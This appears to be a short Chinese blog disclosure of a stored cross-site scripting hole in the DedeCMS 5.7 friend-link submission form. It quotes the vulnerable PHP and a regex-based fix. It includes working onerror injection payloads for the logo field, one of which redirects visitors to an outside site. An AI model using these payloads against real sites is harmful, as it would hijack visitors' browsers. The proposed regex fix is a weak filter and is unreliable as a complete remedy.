dede5.7前台插入恶意JS代码

这个问题应该很久了 最近发现有用这个的蠕虫
dede 前台提交友情链接 只用htmlspecialchars简单处理了一下 可以插入代码
plus/flink_add.php 提交

表单中提交 图片地址

http://111.cc ' onerror='alert(98);'

http://111.cc 'onerror=location.href='http://www.baidu.com

只用htmlspecialchars做了处理 没有判断数据有效性
[php]
$msg = htmlspecialchars($msg);

$email = htmlspecialchars($email);

$webname = htmlspecialchars($webname);

$url = htmlspecialchars($url);

$logo = htmlspecialchars($logo);

$typeid = intval($typeid);

$dtime = time();

$query = "INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck)

VALUES('50','$url','$webname','$logo','$msg','$email','$typeid','$dtime','0')";[/php]

测试方法
http://111.cc ' onerror='alert(98);'

http://111.cc 'onerror=location.href='http://0day5.com/

修复办法:
plus/flink.php

对提交数据做一下判断
[php]
if (!preg_match('/http:\/\/[\w.]+[\w\/]*[\w.]*\??[\w=&\+\%]*/is',$logo)){

ShowMsg('表单url问题!','-1',1);

die();

}
[/php]

发表评论